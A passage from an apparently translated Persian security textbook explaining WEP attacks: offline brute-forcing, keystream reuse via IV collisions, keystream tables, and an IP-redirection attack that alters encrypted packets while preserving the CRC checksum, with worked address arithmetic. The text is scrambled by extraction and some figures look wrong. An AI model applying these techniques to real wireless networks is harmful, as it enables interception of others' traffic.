ﻣﺸﮑﻼت از اﺳﺘﻔﺎده از CRC32ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺗﺎﺑﻊ ﭼﮑﺴﺎم ﺟﻬﺖ ﺑﺮرﺳﯽ ﺻﺤﺖ ﭘﯿﺎم ﻧﺎﺷﯽ ﻣﯽ ﺷﻮﻧﺪ و ﺑﻌﻀﯽ دﯾﮕﺮ از
روﺷﯽ ﮐﻪ ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﺑﮑﺎر ﺑﺮده ﻣﯽ ﺷﻮﻧﺪ.
ﺣﻤﻠﻪ Brute-Forcingﺑﺮ روی ﺗﻤﺎم ﺳﯿﺴﺘﻢ ﻫﺎی رﻣﺰی اﯾﻤﻦ-ﻣﺤﺎﺳﺒﺎﺗﯽ اﻣﮑﺎن ﭘﺬﯾﺮ اﺳﺖ .اﻣـﺎ ﺳـﻮال اﯾﻨﺠﺎﺳـﺖ ﮐـﻪ
ﮐﺠﺎ ﻣﯽ ﺗﻮان اﯾﻦ ﺣﻤﻠﻪ را ﺑﻪ ﺻﻮرت ﻋﻤﻠﯽ ﭘﯿﺎده ﺳـﺎزی ﮐـﺮد؟ ﺑـﺎ در ﻧﻈـﺮ ﮔـﺮﻓﺘﻦ ،WEPروش ﻋﻤﻠـﯽ brute-force
ﮐﺮدن آﻓﻼﯾﻦ ،ﺳﺎده اﺳﺖ :ﺿﺒﻂ ﮐﺮدن ) (captureﭼﻨﺪ ﺑﺴﺘﻪ و ﺳﭙﺲ ﺗﻼش ﺟﻬﺖ رﻣﺰﮔﺸﺎﯾﯽ اﯾـﻦ ﺑـﺴﺘﻪ ﻫـﺎ ﺑـﺎ ﺗﻤـﺎم
ﮐﻠﯿﺪﻫﺎی ﻣﻤﮑﻦ .ﻗﺪم ﺑﻌﺪی ،ﻣﺤﺎﺳﺒﻪ ﻣﺠﺪد ﭼﮑﺴﺎم ﺑﺮای ﺑﺴﺘﻪ و ﻣﻘﺎﯾﺴﻪ ﮐﺮدن آن ﺑﺎ ﭼﮑـﺴﺎم اﺻـﻠﯽ اﺳـﺖ .اﮔـﺮ اﯾـﻦ
ﻣﻘﺎدﯾﺮ ﯾﮑﺴﺎن ﺑﺎﺷﻨﺪ ،آﻧﮕﺎه اﺣﺘﻤﺎﻻ ﮐﻠﯿﺪ را در اﺧﺘﯿﺎر دارﯾﻢ .ﻣﻌﻤﻮﻻ اﺟﺮای اﯾـﻦ روش ﺣـﺪاﻗﻞ ﺑـﻪ دو ﺑـﺴﺘﻪ ﻧﯿـﺎز دارد،
ﭼﻮن اﺣﺘﻤﺎل دارد ﮐﻪ ﯾﮏ ﺑﺴﺘﻪ واﺣﺪ را ﺑﺘﻮان ﺑﺎ ﯾﮏ ﮐﻠﯿﺪ ﻏﯿﺮ ﻣﻌﺘﺒﺮ رﻣﺰﮔﺸﺎﯾﯽ ﮐـﺮد ،در ﺻـﻮرﺗﯽ ﮐـﻪ ﭼﮑـﺴﺎم ﻫﻨـﻮز
ﻣﻌﺘﺒﺮ ﺧﻮاﻫﺪ ﺑﻮد.
ﺑﻬﺮﺣﺎل ﺑﺎ در ﻧﻈﺮ ﮔﺮﻓﺘﻦ اﻣﺘﺤﺎن ﺷﺪن 10,000ﮔﺰﯾﻨﻪ در واﺣﺪ زﻣﺎن brute-force ،ﮐﺮدن ﯾﮏ ﻓﻀﺎی ﮐﻠﯿﺪ 40ﺑﯿﺘـﯽ
ﺣﺪود 3ﺳﺎل زﻣﺎن ﻧﯿﺎز دارد .ﭘﺮدازﻧﺪه ﻫﺎی ﻣﺪرن ﻋﻤﻼ ﻣﯽ ﺗﻮاﻧﻨﺪ در واﺣﺪ زﻣﺎن ﺗﻌﺪاد ﮔﺰﯾﻨﻪ ﻫﺎی ﺑﯿﺸﺘﺮ از 10,000
را اﻣﺘﺤﺎن ﮐﻨﻨﺪ ،اﻣﺎ ﺣﺘﯽ ﺑﺎ اﻣﮑﺎن اﻣﺘﺤﺎن ﺷﺪن 20,000ﮔﺰﯾﻨﻪ در واﺣﺪ زﻣﺎن ﻫﻨﻮز ﻫﻢ ﭼﻨﺪ ﻣﺎه وﻗﺖ ﻻزم اﺳﺖ .ﺑﺴﺘﻪ
ﺑﻪ ﻣﻨﺎﺑﻊ و ﺗﺨﺼﯿﺺ زﻣﺎن ﯾﮏ ﻧﻔﻮذﮔﺮ ،اﯾﻦ ﻧﻮع ﺣﻤﻼت ﻣﻤﮑﻦ اﺳﺖ ﻋﻤﻠﯽ ﺑﺎﺷﻨﺪ ﯾﺎ ﻧﺒﺎﺷﻨﺪ.
ﺗﯿﻢ ﻧﯿﻮﺷﺎم ) (Tim Newshamروش ﮐﺮک ﻣﻮﺛﺮی را در اﻟﮕﻮرﯾﺘﻢ ﺗﻮﻟﯿﺪ ﮐﻠﯿﺪ ﻣﺒﻨـﯽ ﺑـﺮ ﭘـﺴﻮرد 123اراﺋـﻪ داد ﮐـﻪ در
ﺑﺴﯿﺎری از ﮐﻠﯿﺪﻫﺎی 40ﺑﯿﺘﯽ )ﮐﻪ اﻟﺒﺘﻪ ﺑﻪ ﻋﻨﻮان 64ﺑﯿﺘﯽ ﻓﺮوﺧﺘﻪ ﻣﯽ ﺷﺪﻧﺪ( و ﻧﻘﺎط دﺳﺘﺮﺳﯽ ) (Access Pointﻣﻮرد
123
Password-based Key-Generation Algorithm
182
اﺳﺘﻔﺎده ﺑﻮد .روش او ﻓﻀﺎی ﮐﻠﯿﺪ 40ﺑﯿﺘﯽ را ﺑﻪ 21ﺑﯿﺘﯽ ﮐﺎﻫﺶ ﻣﯽ داد .ﺑـﻪ اﯾـﻦ ﺻـﻮرت ﺑـﺎ ﻓـﺮض اﻣﺘﺤـﺎن 10,000
ﭘﺴﻮرد در واﺣﺪ زﻣﺎن ،اﻣﮑﺎن ﺑﺮرﺳﯽ ﮐﺎﻣﻞ ﻓﻀﺎی ﮐﻠﯿﺪ در ﭼﻨﺪﯾﻦ دﻗﯿﻘـﻪ )و ﺣﺘـﯽ در ﭘﺮدازﻧـﺪه ﻫـﺎی ﻣـﺪرن ،ﭼﻨـﺪﯾﻦ
ﺛﺎﻧﯿﻪ( ﻓﺮاﻫﻢ ﻣﯽ ﺷﺪ .اﻃﻼﻋـﺎت ﺑﯿـﺸﺘﺮ درﺑـﺎره اﯾـﻦ روش رال ﺑـﺎ ﻣﺮاﺟﻌـﻪ ﺑـﻪ www.lava.net/~newsham/wlan/
ﺑﺪﺳﺖ آورﯾﺪ.
ﺑﺮای ﺷﺒﮑﻪ ﻫﺎی WEPﺑﺎ ﻓﻀﺎی 104ﺑﯿﺘﯽ )ﮐﻪ ﺑﺎ ﻋﻨﻮان 128ﺑﯿﺘـﯽ ﺑﺎزارﯾـﺎﺑﯽ ﺷـﺪﻧﺪ( اﺟـﺮای ﺣﻤـﻼت brute-force
ﻋﻤﻞ ﻏﯿﺮﻣﻤﮑﻦ اﺳﺖ.
ﻣﺸﮑﻞ ﺑﺎﻟﻘﻮه دﯾﮕﺮ در WEPدر اﺳﺘﻔﺎده ﻣﺠﺪد از ﺟﺮﯾﺎن ﮐﻠﯿﺪ 124ﻧﻤﻮد ﭘﯿﺪا ﻣﯽ ﮐﻨﺪ .اﮔﺮ دو ﻣﺘﻦ واﺿﺢ ) (Pﺑﺎ ﺟﺮﯾـﺎن
ﮐﻠﯿﺪ ﯾﮑﺴﺎﻧﯽ XORﺷﻮﻧﺪ و دو زوج ﺟﺪاﮔﺎﻧﻪ از ﻣﺘﻦ رﻣﺰی ) (Cرا ﺗﻮﻟﯿﺪ ﮐﻨﻨﺪ ،در اﯾﻦ ﺻﻮرت XORﮐﺮدن ﻣﺘﻦ ﻫﺎی
رﻣﺰی ﺑﺎ ﯾﮑﺪﯾﮕﺮ ﺗﺎﺛﯿﺮ ﻓﻀﺎی ﮐﻠﯿﺪ را ﺣﺬف ﻣﯽ ﮐﻨﺪ ،ﺑﻤﺎﻧﻨﺪ اﯾﻨﮑﻪ دو ﻣﺘﻦ واﺿﺢ ﺑﺎ ﯾﮑﺪﯾﮕﺮ XORﺷﺪه ﺑﺎﺷﻨﺪ.
C1 = P1 )RC4(seed
C2 = P2 )RC4(seed
در اﯾﻦ ﺣﺎﻟﺖ اﮔﺮ ﯾﮑﯽ از ﻣﺘﻮن واﺿﺢ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺑﺎﺷﺪ ،ﻣﯽ ﺗﻮان دﯾﮕﺮی را ﺑﻪ آﺳﺎﻧﯽ ﺑﺎزﯾـﺎﺑﯽ ﮐـﺮد .ﺑﻌـﻼوه ﭼـﻮن در
اﯾﻦ ﻣﻮرد ﻣﺘﻮن واﺿﺢ ،ﺑﺴﺘﻪ ﻫﺎی اﯾﻨﺘﺮﻧﺘﯽ ﺑﺎ ﺳﺎﺧﺘﺎر ﺷﻨﺎﺧﺘﻪ ﺷﺪه و ﻧﺴﺒﺘﺎ ﻗﺎﺑﻞ ﭘﯿﺶ ﺑﯿﻨﯽ ﻫﺴﺘﻨﺪ ،ﻟﺬا ﻣﯽ ﺗﻮان ﺗﮑﻨﯿـﮏ
ﻫﺎی ﮔﻮﻧﺎﮔﻮﻧﯽ را ﺑﮑﺎر ﺑﺴﺖ ﺗﺎ ﻫﺮ دو ﻣﺘﻦ واﺿﺢ اﺻﻠﯽ را ﺑﺎزﯾﺎﺑﯽ ﮐﺮد.
ﺑﺮدار اوﻟﯿﻪ ﺟﻬﺖ ﺟﻠﻮﮔﯿﺮی از اﯾﻦ ﻧﻮع ﺣﻤﻼت ﺑﮑﺎر ﮔﺮﻓﺘﻪ ﻣﯽ ﺷـﺪ .ﺑـﺪون آن ﻫـﺮ ﺑـﺴﺘﻪ ﻣـﯽ ﺗﻮاﻧـﺪ ﺑـﺎ ﺟﺮﯾـﺎن ﮐﻠﯿـﺪ
ﯾﮑﺴﺎﻧﯽ رﻣﺰﻧﮕﺎری ﺷﻮد .اﮔﺮ ﯾﮏ ﺑﺮدار اوﻟﯿﻪ ﻣﺘﻔﺎوت ﺑﺮای ﻫﺮ ﺑﺴﺘﻪ اﺳﺘﻔﺎده ﺷﻮد ،ﺟﺮﯾـﺎن ﻫـﺎی ﮐﻠﯿـﺪ ﻧﯿـﺰ ﺑـﺮای ﻫـﺮ
ﺑﺴﺘﻪ ﻣﺘﻔﺎوت ﺧﻮاﻫﻨﺪ ﺑﻮد .اﻣﺎ اﮔﺮ ﺑﺮدار اوﻟﯿﻪ ﯾﮑﺴﺎﻧﯽ اﺳﺘﻔﺎده ﺷﻮد ،ﻫﺮ دو ﺑﺴﺘﻪ ﺑﺎ ﺟﺮﯾـﺎن ﮐﻠﯿـﺪ ﯾﮑـﺴﺎﻧﯽ رﻣﺰﻧﮕـﺎری
ﻣﯿﺸﻮﻧﺪ .ﭼﻮن ﺑﺮدارﻫﺎی اوﻟﯿﻪ در ﻣﺘﻦ واﺿﺢ در ﺑﺴﺘﻪ ﻫﺎی رﻣﺰﺷﺪه وﺟﻮد دارﻧﺪ ،ﻟـﺬا ﻣـﯽ ﺗـﻮان اﯾـﻦ ﺷـﺮط را ﺑﺮاﺣﺘـﯽ
ﺗﺸﺨﯿﺺ داد .ﺑﻌﻼوه ﺑﺮدارﻫﺎی اوﻟﯿﻪ اﺳﺘﻔﺎده ﺷﺪه ﺑﺮای WEPﺗﻨﻬﺎ 24ﺑﯿـﺖ ﻃـﻮل دارﻧـﺪ ﮐـﻪ ﺗﻘﺮﯾﺒـﺎ ﺗـﻀﻤﯿﻨﯽ ﺟﻬـﺖ
اﺳﺘﻔﺎده ﻣﺠﺪد از ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﺧﻮاﻫﺪ ﺑﻮد .ﺑﺎ ﻓﺮض ﺗﺼﺎدﻓﯽ اﻧﺘﺨﺎب ﺷﺪن ﺑﺮدارﻫﺎی اوﻟﯿـﻪ ،از ﻟﺤـﺎظ آﻣـﺎری ﺑﻌـﺪ از
5000ﺑﺴﺘﻪ ،ﯾﮏ ﻣﻮرد ﺑﺮای اﺳﺘﻔﺎده ﻣﺠﺪد از ﺟﺮﯾﺎن ﮐﻠﯿﺪ وﺟﻮد ﺧﻮاﻫﺪ داﺷﺖ.
اﯾﻦ ﺗﻌﺪاد ،ﻧﺎﺷﯽ از ﯾﮏ ﭘﺪﯾﺪه اﺣﺘﻤﺎﻟﯽ ﺷﻤﺎرﺷﯽ ﺑﻪ ﻧﺎم ﭘﺎرادوﮐﺲ زاد روز ) (birthday paradoxﮐﻮﭼﮏ ﺑﻪ ﻧﻈﺮ ﻣﯽ
آﯾﺪ .ﺑﻪ ﻃﻮر ﺳﺎده اﯾﻦ ﭘﺪﯾﺪه ﺑﯿﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ اﮔﺮ 23ﻧﻔﺮ ﺑﺎ ﻫﻢ در ﯾﮏ اﺗﺎق ﺑﺎﺷﻨﺪ ،دو ﻧﻔﺮ از آﻧﻬﺎ ﺑﺎﯾﺪ ﯾﮏ ﺗﺎرﯾﺦ ﺗﻮﻟﺪ
ﯾـﺎ 0,27 ﯾﺎ 253زوج ﻣﻤﮑﻦ وﺟﻮد دارد .ﻫﺮ زوج اﺣﺘﻤـﺎل ﻣﻮﻓﻘﯿـﺖ را ﺑﻪ اﺷﺘﺮاک ﺑﮕﺬارﻧﺪ .ﺑﺎ 23ﻧﻔﺮ ،ﺗﻌﺪاد
ﯾﺎ 99,726درﺻﺪی اﺳﺖ .ﺑﺎ اﻓـﺰاﯾﺶ اﯾـﻦ اﺣﺘﻤـﺎل ﺑـﻪ ﺗـﻮان ،253 درﺻﺪی دارد ﮐﻪ ﻣﺘﻨﺎﻇﺮ ﺑﺎ اﺣﺘﻤﺎل ﺷﮑﺴﺖ
اﺣﺘﻤﺎل ﺷﮑﺴﺖ ﮐﻞ ﺣﺪود %49,95ﺧﻮاﻫﺪ ﺑﻮد ،ﯾﻌﻨﯽ اﺣﺘﻤﺎل ﻣﻮﻓﻘﯿﺖ اﻧﺪﮐﯽ ﺑﺎﻻﺗﺮ از %50اﺳﺖ.
ﯾـﺎ 12,497,500 اﯾﻦ ﻣﺴﺌﻠﻪ در راﺑﻄﻪ ﺑﺎ ﺗﺼﺎدم ﻫﺎی ﺑﺮداراوﻟﯿﻪ ﻧﯿﺰ ﺑﺮﻗﺮار اﺳﺖ .ﺑﺎ 5000ﺑـﺴﺘﻪ ،ﺣـﺪود
دارد .ﺑﺎ اﻓﺰاﯾﺶ اﯾﻦ اﺣﺘﻤﺎل ﺑﻪ ﺗﻮان زوج ﻫﺎی ﻣﻤﮑـﻦ، زوج ﻣﻤﮑﻦ وﺟﻮد دارد .ﻫﺮ زوج اﺣﺘﻤﺎل ﺷﮑﺴﺘﯽ ﺑﺮاﺑﺮ ﺑﺎ
اﺣﺘﻤﺎل ﺷﮑﺴﺖ ﮐﻞ ،ﺣﺪود %47,5ﺧﻮاﻫﺪ ﺑﻮد ،ﯾﻌﻨﯽ در ﻫﺮ 5000ﺑﺴﺘﻪ ،ﯾﮏ ﺷﺎﻧﺲ )اﺣﺘﻤـﺎل( 52,5درﺻـﺪی ﺑـﺮای
ﯾﮏ ﺗﺼﺎدم ﺑﺮدار اوﻟﯿﻪ وﺟﻮد دارد.
124
Keystream Reuse
183
ﭘﺲ از ﮐﺸﻒ ﯾﮏ ﺗﺼﺎدم ﺑﺮدار اوﻟﯿﻪ ﻣﯿﺘﻮان از ﺣﺪس زدن ﺳﺎﺧﺘﺎر ﻣﺘﻮن واﺿﺢ ،ﺑﻪ ﻣﻨﻈﻮر آﺷﮑﺎر ﺳﺎﺧﺘﻦ آﻧﻬـﺎ ﺑﻮﺳـﯿﻠﻪ
XORﮐﺮدن ﻣﺘﻮن رﻣﺰی ﺑﺎ ﻫﻢ اﺳﺘﻔﺎده ﮐﺮد .ﻫﻤﭽﻨﯿﻦ اﮔﺮ ﯾﮑﯽ از ﻣﺘﻮن واﺿﺢ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺑﺎﺷﺪ ،ﻣﺘﻦ واﺿﺢ دﯾﮕﺮی
را ﻣﯽ ﺗﻮان ﺑﺎ ﯾﮏ XORﺳﺎده ﺑﺎزﯾﺎﺑﯽ ﮐﺮد .ﯾﮏ روش ﺟﻬﺖ ﺑﺪﺳﺖ آوردن ﻣﺘﻮن واﺿﺢ ﺷﻨﺎﺧﺘﻪ ﺷـﺪه ،ﻣﯿﺘﻮاﻧـﺪ اﺳـﭙﻢ
ﮐﺮدن اﯾﻤﯿﻞ ﺑﺎﺷﺪ :ﻧﻔﻮذﮔﺮ اﺳﭙﻢ را ارﺳﺎل و ﻗﺮﺑﺎﻧﯽ آن اﯾﻤﯿﻞ را از ﻃﺮﯾﻖ ارﺗﺒﺎط رﻣﺰﺷﺪه ی ﺑـﯽ ﺳـﯿﻢ ﺧـﻮد ﭼـﮏ ﻣـﯽ
ﮐﻨﺪ.
ﺑﻌﺪ از ﺑﺎزﯾﺎﺑﯽ ﻣﺘﻮن واﺿﺢ ﺑﺮای ﯾﮏ ﭘﯿﺎم ﻣﻘﻄﻮع ) (interceptedﻣﯿﺘﻮان ﺟﺮﯾﺎن ﮐﻠﯿـﺪ آن ﺑﺮداراوﻟﯿـﻪ را ﻧﯿـﺰ ﺷـﻨﺎﺧﺖ.
ﯾﻌﻨﯽ ﺟﺮﯾﺎن ﮐﻠﯿﺪ را ﻣﯽ ﺗﻮان ﺟﻬﺖ رﻣﺰﮔﺸﺎﯾﯽ ﺑﺴﺘﻪ ﻫﺎی دﯾﮕﺮ ﮐﻪ از ﻫﻤﺎن ﺑﺮدار اوﻟﯿﻪ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ ﺑﮑﺎر ﺑـﺮد .ﺑـﺎ
ﮔﺬﺷﺖ زﻣﺎن ﻣﯽ ﺗﻮان ﺟﺪوﻟﯽ از ﺟﺮﯾﺎن ﻫﺎی ﮐﻠﯿﺪ ﺑﺎ ﺷﺎﺧﺼﯽ ) (indexﻣﻌﺎدل ﺑﺎ ﺗﻤﺎم ﻣﻘﺎدﯾﺮ ﻣﻤﮑﻦ ﺑـﺮای ﺑـﺮدار اوﻟﯿـﻪ
اﯾﺠﺎد ﮐﺮد .ﭼﻮن ﻓﻘﻂ ﺗﻌﺪاد 224ﺑﺮداراوﻟﯿﻪ ﻣﻤﮑﻦ وﺟﻮد دارد ،اﮔﺮ 1,500ﺑﺎﯾﺖ از ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﺑﺮای ﻫﺮ ﺑـﺮدار اوﻟﯿـﻪ
ذﺧﯿﺮه ﺷﺪه ﺑﺎﺷﺪ ،اﯾﺠﺎد ﺟﺪول ﺑﻪ ﻓﻀﺎﯾﯽ ﻣﻌﺎدل ﺑﺎ 24ﮔﯿﮕﺎﺑﺎﯾﺖ اﺣﺘﯿﺎج دارد .ﻫﻨﮕﺎﻣﯽ ﮐﻪ اﯾﻦ ﺟﺪول اﯾﺠﺎد ﺷﻮد ،ﺗﻤـﺎم
ﺑﺴﺘﻪ ﻫﺎی رﻣﺰﺷﺪه ﺑﻌﺪی را ﻣﯽ ﺗﻮان ﺑﺮاﺣﺘﯽ رﻣﺰﮔﺸﺎﯾﯽ ﮐﺮد.
اﯾﻦ روش ﺣﻤﻠﻪ ﺑﺴﯿﺎر وﻗﺖ ﮔﯿﺮ و ﺧﺴﺘﻪ ﮐﻨﻨﺪه اﺳﺖ .اﮔﺮﭼﻪ ﻧﻈﺮﯾﻪ ﺟﺎﻟﺒﯽ اﺳﺖ ،اﻣﺎ روش ﻫﺎی آﺳﺎﻧﺘﺮی ﺑﺮای ﻏﻠﺒﻪ ﺑﺮ
WEPوﺟﻮد دارﻧﺪ.
روش دﯾﮕﺮ ﺟﻬﺖ رﻣﺰﮔﺸﺎﯾﯽ ﺑﺴﺘﻪ ﻫﺎی رﻣﺰﺷﺪه ﻓﺮﯾﺐ دادن ﻧﻘﻄﻪ دﺳﺘﺮﺳﯽ ﺑﺮای اﻧﺠﺎم اﻣﻮر ﻧﻔـﻮذﮔﺮ اﺳـﺖ .ﻣﻌﻤـﻮﻻ
ﻧﻘﺎط دﺳﺘﺮﺳﯽ ﺑﯽ ﺳﯿﻢ ﻧـﻮﻋﯽ اﺗـﺼﺎل اﯾﻨﺘﺮﻧﺘـﯽ دارﻧـﺪ و ﺑـﺎ در ﻧﻈـﺮ ﮔـﺮﻓﺘﻦ آن ،اﻣﮑـﺎن ﭘﯿـﺎده ﺳـﺎزی ﯾـﮏ ﺣﻤﻠـﻪ IP
Redirectionوﺟﻮد دارد .اﺑﺘﺪا ﯾﮏ ﺑﺴﺘﻪ رﻣﺰﺷﺪه ﺿﺒﻂ ﺷﺪه و آدرس ﻣﻘﺼﺪ ﺑﻪ ﯾـﮏ آدرس IPﺗﻐﯿﯿـﺮ ﻣـﯽ ﯾﺎﺑـﺪ ﮐـﻪ
ﻧﻔﻮذﮔﺮ ﺑﻪ آن ﺑﺪون رﻣﺰﮔﺸﺎﯾﯽ ﺑﺴﺘﻪ ﻫﺎ ﮐﻨﺘﺮل دارد .ﺳﭙﺲ ﺑﺴﺘﻪ دﺳﺘﮑﺎری ﺷـﺪه ﺑـﻪ ﻧﻘﻄـﻪ دﺳﺘﺮﺳـﯽ ﺑـﯽ ﺳـﯿﻢ ﭘـﺲ
ﻓﺮﺳﺘﺎده ﻣﯽ ﺷﻮد .ﺑﺴﺘﻪ رﻣﺰﮔﺸﺎﯾﯽ و ﺑﻪ آدرس IPﻧﻔﻮذﮔﺮ ارﺳﺎل ﺧﻮاﻫﺪ ﺷﺪ.
ﭼـﻮن ﺗـﺎﺑﻊ ﭼﮑـﺴﺎم ،CRC32ﯾـﮏ ﺗـﺎﺑﻊ ﺧﻄـﯽ ﻏﯿﺮﮐﻠﯿـﺪی ) (linear unkeyedاﺳـﺖ ،دﺳـﺘﮑﺎری ﺑـﺴﺘﻪ ) packet
(modificationاﻣﮑﺎن ﭘﺬﯾﺮ اﺳﺖ .ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﯽ ﺗﻮان ﺑﺴﺘﻪ را دﺳﺘﮑﺎری ﮐـﺮد ﺑﻄﻮرﯾﮑـﻪ ﭼﮑـﺴﺎم ﯾﮑـﺴﺎن ﺑـﺎﻗﯽ
ﺑﻤﺎﻧﺪ.
در اﯾﻦ ﺣﻤﻠﻪ ﻓﺮض ﺑﺮ آن اﺳﺖ ﮐﻪ آدرس ﻫﺎی IPﻣﺒﺪا و ﻣﻘﺼﺪ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﻫﺴﺘﻨﺪ .ﻣﺒﻨﯽ ﺑـﺮ ﻃـﺮح ﻫـﺎی اﺳـﺘﺎﻧﺪارد
آدرس دﻫﯽ IPدر ﺷﺒﮑﻪ داﺧﻠﯽ ،اﯾﻦ اﻃﻼﻋﺎت را ﻣﯽ ﺗﻮان ﺑﺮاﺣﺘﯽ درک ﮐﺮد .ﻫﻤﭽﻨﯿﻦ ﻧﺎﺷﯽ از ﺗﺼﺎدم ﻫﺎی ﺑﺮدار اوﻟﯿﻪ
ﻣﯽ ﺗﻮان از ﭼﻨﺪﯾﻦ ﻣﻮرد اﺳﺘﻔﺎده ﻣﺠﺪد از ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﺟﻬﺖ ﺗﻌﯿﯿﻦ آدرس ﻫﺎ اﺳﺘﻔﺎده ﮐﺮد.
ﭘﺲ از ﺷﻨﺎﺧﺘﻪ ﺷﺪن آدرس IPﻣﻘﺼﺪ ﻣﯽ ﺗﻮان اﯾﻦ ﻣﻘﺪار را ﺑﺎ آدرس IPﻣـﻮرد ﻧﻈـﺮ XORﮐـﺮد و ﺳـﭙﺲ ﮐـﻞ آﻧـﺮا
درون ﻧﺎﺣﯿﻪ ای در ﺑﺴﺘﻪ رﻣﺰﺷﺪه XORﮐﺮد XOR .ﮐﺮدن آدرس IPﻣﻘﺼﺪ ﻓﺴﺦ ﻣﯽ ﺷﻮد و آدرس IPﻣﻮرد ﻧﻈـﺮ و
XORﺷﺪه ﺑﺎ ﺟﺮﯾﺎن ﮐﻠﯿﺪ را ﻧﺘﯿﺠﻪ ﻣﯽ دﻫﺪ .ﺑﺮای ﺣﺼﻮل اﻃﻤﯿﻨـﺎن از ﯾﮑـﺴﺎن ﻣﺎﻧـﺪن ﭼﮑـﺴﺎم ،آدرس IPﻣﺒـﺪا ﺑﺎﯾـﺪ
دﺳﺘﮑﺎری ﺷﻮد.
184
ﺑــﺮای ﻣﺜــﺎل آدرس ﻣﺒــﺪا را 192.168.2.57و آدرس ﻣﻘــﺼﺪ را 192.168.2.1ﻓــﺮض ﮐﻨﯿــﺪ .ﻧﻔــﻮذﮔﺮ ﮐــﻪ آدرس
123.45.67.89را ﮐﻨﺘﺮل ﻣﯽ ﮐﻨﺪ ﻗﺼﺪ را ﻫﺪاﯾﺖ ﺗﺮاﻓﯿﮏ ﺑـﻪ آن را دارد .اﯾـﻦ آدرس ﻫـﺎی IPدر ﺑـﺴﺘﻪ ﺑـﻪ ﺻـﻮرت
دودوﯾﯽ از ﮐﻠﻤﺎت 16ﺑﯿﺘﯽ ﻣﺮﺗﺒﻪ-ﭘﺎﺋﯿﻦ ) (low-orderو ﻣﺮﺗﺒﻪ-ﺑﺎﻻ ) (high-orderوﺟـﻮد دارﻧـﺪ .ﺗﺒـﺪﯾﻞ اﯾـﻦ اﻋـﺪاد
ﺳﺎده اﺳﺖ:
Src IP = 192.168.2.57
SH = 192 · 256 + 168 = 50344
SL = 2 · 256 + 57 = 569
Dst IP = 192.168.2.1
DH = 192 · 256 + 168 = 50344
DL = 2 · 256 + 1 = 513
New IP = 123.45.67.89
NH = 123 · 256 + 45 = 31533
NL = 67 · 256 + 89 = 17241
ﭼﮑﺴﺎم ﺑﻮاﺳﻄﻪ NH + NL − DH − DLﺗﻐﯿﯿﺮ ﻣﯽ ﯾﺎﺑﺪ ،ﻟﺬا اﯾﻦ ﻣﻘﺪار ﺑﺎﯾﺪ از ﻣﮑﺎن دﯾﮕﺮی از ﺑﺴﺘﻪ ﮐﺎﺳﺘﻪ ﺷﻮد .ﭼـﻮن
آدرس ﻣﺒﺪا ﺷﻨﺎﺧﺘﻪ ﺷﺪه اﺳﺖ و اﻫﻤﯿﺖ ﭼﻨﺪاﻧﯽ ﻧﺪارد ،ﻟﺬا ﮐﻠﻤﻪ 16ﺑﯿﺘﯽ ﻣﺮﺗﺒﻪ ﭘـﺎﺋﯿﻦ از آن آدرس IPﻫـﺪف ﺧـﻮﺑﯽ
ﺧﻮاﻫﺪ ﺑﻮد:
)S′L = SL – (NH + NL − DH − DL
)S′L = 569 – (31533 + 17241 – 50344 – 513
S′L = 2652
ﺑﺪﯾﻦ ﺻﻮرت آدرس IPﻣﺒﺪا ﺟﺪﯾﺪ ،ﺑﺎﯾﺴﺘﯽ 192.168.10.92ﺑﺎﺷﺪ.
ﺑﺎ اﺳﺘﻔﺎده از ﻫﻤﺎن ﺣﻘﻪ XORﮐﺮدن ،ﻣﯽ ﺗﻮان آدرس IPﻣﺒﺪا را در ﺑﺴﺘﻪ رﻣﺰﺷﺪه دﺳﺘﮑﺎری ﮐﺮد ،آﻧﮕﺎه ﭼﮑـﺴﺎم ﻫـﺎ
ﺑﺮاﺑﺮ ﻣﻄﺎﺑﻖ ﺑﺎﺷﻨﺪ .ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺑﺴﺘﻪ ﺑﻪ ﻧﻘﻄﻪ دﺳﺘﺮﺳﯽ ﺑﯽ ﺳﯿﻢ ارﺳﺎل ﻣﯽ ﺷﻮد ،ﺑﺴﺘﻪ رﻣﺰﮔﺸﺎﯾﯽ و ﺑﻪ 123.45.67.89
)ﮐﻪ ﻧﻔﻮذﮔﺮ ﻣﯽ ﺗﻮاﻧﺪ در آﻧﺠﺎ آن ﺑﺴﺘﻪ را درﯾﺎﻓﺖ ﮐﻨﺪ( ارﺳﺎل ﺧﻮاﻫﺪ ﺷﺪ.
اﮔﺮ ﻧﻔﻮذﮔﺮ اﻣﮑﺎن ﻣﺎﻧﯿﺘﻮر ﮐﺮدن ﺑﺴﺘﻪ ﻫﺎ را در ﮐﻞ ﯾـﮏ ﺷـﺒﮑﻪ ﮐـﻼس Bداﺷـﺘﻪ ﺑﺎﺷـﺪ ،آدرس ﻣﺒـﺪا ﻫـﯿﭻ ﻧﯿـﺎزی ﺑـﻪ
دﺳﺘﮑﺎری ﻧﺪارد .ﺑﺎ ﻓﺮض دﺳﺘﺮﺳﯽ ﻧﻔﻮذﮔﺮ روی ﮐﻞ ﻣﺤﺪوده ،123.45.x.xﮐﻠﻤﻪ 16ﺑﯿﺘﯽ ﻣﺮﺗﺒﻪ ﭘـﺎﺋﯿﻦ از آدرس IP
را ﻣﯽ ﺗﻮان ﻃﻮری ﺗﻐﯿﯿﺮ داد ﮐﻪ ﺗﺎﺛﯿﺮی در ﻣﻘﺪار ﭼﮑـﺴﺎم ﻧﺪاﺷـﺘﻪ ﺑﺎﺷـﺪ .اﮔـﺮ راﺑﻄـﻪ ،NL = DH + DL – NHﺑﺮﻗـﺮار
ﺑﺎﺷﺪ checksum ،ﺗﻐﯿﯿﺮ ﻧﺨﻮاﻫﺪ ﮐﺮد .در زﯾﺮ ﻣﺜﺎﻟﯽ را ﻣﯽ ﺑﯿﻨﯿﺪ:
NL = DH + DL – NH
NL = 50,344 + 513 – 31533
N′L = 82390
آدرس IPﻣﻘﺼﺪ ﺟﺪﯾﺪ ،ﺑﺎﯾﺴﺘﯽ ﻣﻌﺎدل 123.45.75.124ﺑﺎﺷﺪ.
